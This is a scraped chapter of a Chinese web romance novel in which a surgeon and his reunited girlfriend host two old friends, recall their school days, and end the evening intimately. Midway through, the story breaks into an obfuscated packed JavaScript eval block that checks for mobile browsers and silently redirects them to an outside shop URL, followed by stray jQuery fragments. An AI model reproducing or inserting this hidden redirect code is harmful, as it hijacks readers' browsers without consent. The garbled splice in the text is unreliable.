31. 第29章

作品:《月迷舟渡[破镜重圆]

    黎栎半梦半醒中,恍惚看到顾淮舟拿了听诊器在她胸前测听,眼球在薄薄的眼皮下滚动了几下便掀开眼帘,房间昏暗,有淡淡的睡眠香薰的味道。她两手撑着想要起身,才发觉左手上的束缚,长长地连到床头的支架上。


    看来不是做梦,顾淮舟给她打的点滴。在医院待了那么久,她也认得这是葡萄糖,大概是自己中午没吃饭,低血糖晕倒了。


    黎栎回忆着她从护士长那里学来的动作,给自己拔了针,血泡在瘦削的手背上冒了两下,洇在纱布里散开。她掀开被子光着脚跑出房间,由暗至明的巨变让她有些睁不开眼,她晃晃悠悠地扑到站在岛台旁边、背对着她的顾淮舟。


    “醒来没看见你,我都吓死了。”


    黎栎声音里带了几丝刚睡醒的倦怠和体虚的娇弱,她环住顾淮舟的后背,头靠在上面蹭了蹭,直到那人做饮品的动作停下。


    “咳……你先放开,”顾淮舟被她圈着转了个身,半坐在岛台上,手撑在两边,他低垂着眼,看到光脚的黎栎侧头皱了皱眉,“怎么不穿鞋。”


    “太想你了,没来得及。”


    顾淮舟:“乖,赶紧放开,不然你会后悔的。”


    他越说,黎栎头摇得越是快,最后更是干脆四肢并用像考拉一样把顾淮舟当树枝环住,四下无人时,黎栎也不免落俗地向自己的爱人撒娇,她噌在他脖颈处,声音细腻而又因为居家服布料而闷闷的,“你怎么都不抱我呀顾淮舟,你是不是不爱我了。”


    “好,好,好。”


    拍掌声和脚步声一起向腻歪的两人靠近,黎栎听到那声熟悉的声音,手上的力一卸,差点整个人滑下去,被顾淮舟托住后腰一脸懵懂地回头时,她的一只腿还挂在他胳膊上。


    林逸摇着头朝两人走过来,黎栎迅速红透了脸跳下来。她站在顾淮舟身侧小声嘀咕:“你怎么不提醒我。”


    “都说了你会后悔的。”顾淮舟的笑意藏不住,他去房间把黎栎的拖鞋拿了出来,扶着她穿上。


    林逸双手抱胸,指了指身高颠倒的两人:“想当年,黎栎那叫一个高傲清冷,刚到宜一的时候,简直是全校轰动啊。多少人想追又被那张漂亮却冷漠的脸吓退了,谁能想到,如今竟然也这么……为伊人折腰啊。”


    “你说完了?说完了可以走了。”顾淮舟揽着黎栎的肩膀,袒护的眼神明确,“非礼勿视,你就该自动回避懂不懂?”


    没等他们二人继续斗嘴,梁音从阳台的方向走了过来,看到黎栎醒了过来,她激动地跑过来牵住她的手,顺势,还警告了一番林逸。


    “栎栎,你怎么又瘦了,要好好吃饭啊,是不是顾淮舟没照顾好你?”


    被点到的人才刚和林逸并肩朝客厅走去,闻言又止住脚步:“你们夫妻俩,到底是来到别的还是找茬的?”


    黎栎:“你们要走了?这么快?”她有些不舍得看着梁音,但对她的决定却也十分理解,当年高考发挥失常,其实她心中的阴霾一直未曾散去,这次被黄纯语再度提及,更是揪起了往日伤痕。


    “也好,什么时候的航班,我们去送你们?”


    梁音摇了摇头:“明天就飞了。本来知道你最近很忙,打算就不聚了,这不是听说你晕倒了,有点不放心,就过来看看。”


    “就是低血糖而已,”黎栎弯了弯腰抱住梁音,“好舍不得你,音音。”


    梁音顺着她居家服上柔软的毛上下捋着,故意打趣道:“有什么舍不得的,听说你现在都有更好的朋友了,唉,我注定没办法做你的伴娘了。”


    “谁说的,”黎栎把梁音扶开,“你肯定要当我的伴娘的,我才不管那些规矩呢。”


    “好,顾淮舟,听到了吗?”梁音笑着冲已经坐在客厅的人喊,被黎栎堵住了嘴,含糊不清地说,“快点……求温(婚)。”


    黎栎身体不舒服,剩下三人更是从小十指不沾阳春水的,顾淮舟找阿姨来做了一顿简餐,他看时间已经不早,便叫人先回去,最后几道菜的摆盘自己来。


    他用筷子一块一块地把肉夹到盘子里,黎栎在他背后重重叹了口气。


    “还是我来吧,顾医生,您的手还是留着治病救人造福世界吧。”


    她挽了挽衣袖,让顾淮舟脱下围裙,抬起锅朝盘子里轻轻一歪,一道色香味俱全的红烧肉就出锅了。顾淮舟在她身后替她系着围裙的带子,能用手术镊轻松穿针引线的人却打不好一个完美的结。


    黎栎的手,原本也该是用来演奏小提琴的。


    饭间,不可避免地提起毁了整个答谢宴的黄纯语,七天的行政处罚后,她虽没什么明面上的损失,但林逸父母动动手指就能断掉的她男友所在俱乐部的赞助,已经够她烦心伤神够久了。


    “唉,这个疯女人,从高中起就不正常,你们还记不记得,当初就是她把舟儿和黎栎的事情捅到老师那的。”


    林逸端着顾淮舟亲手做的蔬菜汁,抿了一口露出了极端痛苦的表情,他摇了摇头,笑说:“不过那时候,就算她不去说,老师也很难不知道,对吧?”


    黎栎和顾淮舟默契地低下了头。那时学期过半,黎栎除了偶尔借着来问错题的理由到高三(一)班守着,不知从哪听来了顾淮舟喜欢游泳,正巧市里的运动会就在宜一举行,她拉着梁音翘课去看。


    像这种对升学率没有任何帮助的比赛,大多也就只有体育生去充数,顾淮舟纯粹是能力太强,毫无学业的压力,轻轻松松从起步到转身,最后冲出水面时,连被迫出勤当观众的高一学生也都站起来呐喊。


    “黎栎当时,被舟儿的身材,帅到流鼻血了哈哈哈哈!”


    林逸大笑着拍着桌子,黎栎刚喝下那杯难喝的蔬菜汁,差点一口喷出来。“我那时被梁音带的课本砸到了好吧……谁去看比赛还拿着书去背啊。”


    梁音耸耸肩:“我又不喜欢顾淮舟咯。”


    满汉全席一样的菜没动多少,随着年岁的增长,这样的四人聚会已经聚一次少一次。顾淮舟始终未说话,他胳膊搭在黎栎身后的椅背上,指尖绕着她披在肩上的长发,嘴角擒着一丝下不来的笑意。


    “那时候,黎栎追顾淮舟可真是人尽皆知啊,”林逸突然感叹,“现在看着你们两个复合了,我们也就放心了。”


    “以后,别动不动分手了,太伤人。”


    黎栎收了收笑意,她攥住顾淮舟空闲的那只手,点了点头说:“我知道了。”


    送走林逸和梁音后,两人散步着走回顾淮舟住的那栋楼。夜里的风里透着几丝春寒料峭的冷意,他帮黎栎拢了拢衣襟。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244076|196290||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>顾淮舟:“陈娇下周就能出院了,这段时间你好好补补,太瘦了。”


    “哪有那么娇弱。”


    “是吗?”顾淮舟弯下身捏了捏她脸上没多少肉的脸颊,“那是谁每次都哭着求饶啊。”


    “顾淮舟!”


    他敞开大衣把黎栎整个包在里面,下巴搁在她脑袋处,两人同手同脚地慢慢挪动,“怎么?还不好好把握我没几年的巅峰期?”


    回到家后,黎栎又回到书房开始沟通上下需求,顾淮舟刷完了所有的碗筷,洗完澡后,推了把椅子坐在她旁边。他也不说话,就那么安静地看文献,高挺的鼻梁上架了副半框眼镜。


    其实顾淮舟并不近视,只是黎栎见他经常盯平板,专门去花高价给他配了一副平光镜,说是防蓝光。还被他嘲笑:“也就骗骗你们这些没学过医的人。”


    “切,术业有专攻,你一个外科大夫,怎么懂眼科的事。”


    黎栎拿住镜腿,慢慢地把眼镜推了上去,她趴在他腿上细细地看着,镜片上反射着灯光,疏淡的瞳孔若隐若现,还真有斯文败类的气质。黎栎支起身体,微微前倾吻上了他的唇。那一次,她比任何时候都主动。


    顾淮舟很擅长类比归纳,很快他就发现,只要他一戴眼镜,黎栎就更容易投入,每次都要他哈着热气,耐心地哄:“宝宝,放松一点,太紧了。”


    有时黎栎去找赵教授沟通“天翼”软件验收的事,正对上他扶眼镜的动作,总是躲开眼神。那以后,那副眼镜仿佛就成了两人不必言语的默契——今晚不值班,在家等我。


    黎栎敲敲打打,写了又删,她无法在顾淮舟旁边集中精力,干脆合上电脑,和他挤上一个凳子。


    “啧,”顾淮舟被她环着,脸上不为所动,“干什么呢黎工,好好工作。”


    “你还能工作得下去?”


    他抓住她乱动的手,有一下没一下地回应着她的吻,直到黎栎觉得身上的居家服实在过于碍手,她自顾自解开了两颗扣子,又去拽顾淮舟的。


    “不行,你下午才刚刚晕倒,养养再说。”


    他抬头看着黎栎眼中已经染了眉色的情绪,故意笑着替她扣好了扣子。他抱着她的腿向自己近了近,让她能靠在自己肩上。


    顾淮舟:“跟你说正事,顾云帆不知道最近在忙什么,人工智能的事你比我懂,能不能帮我查一下?我怕她惹事让爷爷生气。”


    “她不是打算投我们吗?赵教授自己的项目你有什么不放心的。”黎栎有些不满地抬起了头,她对天翼这个项目付出了不少的心血,可不想它成为顾淮舟口中,给顾家小辈练手的试错。


    “我没说你们,只是她刚被退婚,手里拿了一大笔钱,我担心她稳不住情绪,被人骗。”顾淮舟拿过桌子上的一张名片,上面“蓝昭”两字用了烫金纹样,“这是她最近要合作的人,你帮我打探一下,知己知彼百战不殆嘛,免得她头脑一热,钱全砸进去了。”


    黎栎点了点头,觉得他说得有道理,等顾淮舟准备把她从椅子上放下时,她又咬着下唇,眼里氲起水雾,两手环住他的脖子,“顾医生,那,你怎么谢我?”


    平板锁屏的声音和电脑更新完毕的风扇音同时落地。安静中,顾淮舟笑了笑,扯下眼镜,抱着黎栎朝浴室走了过去。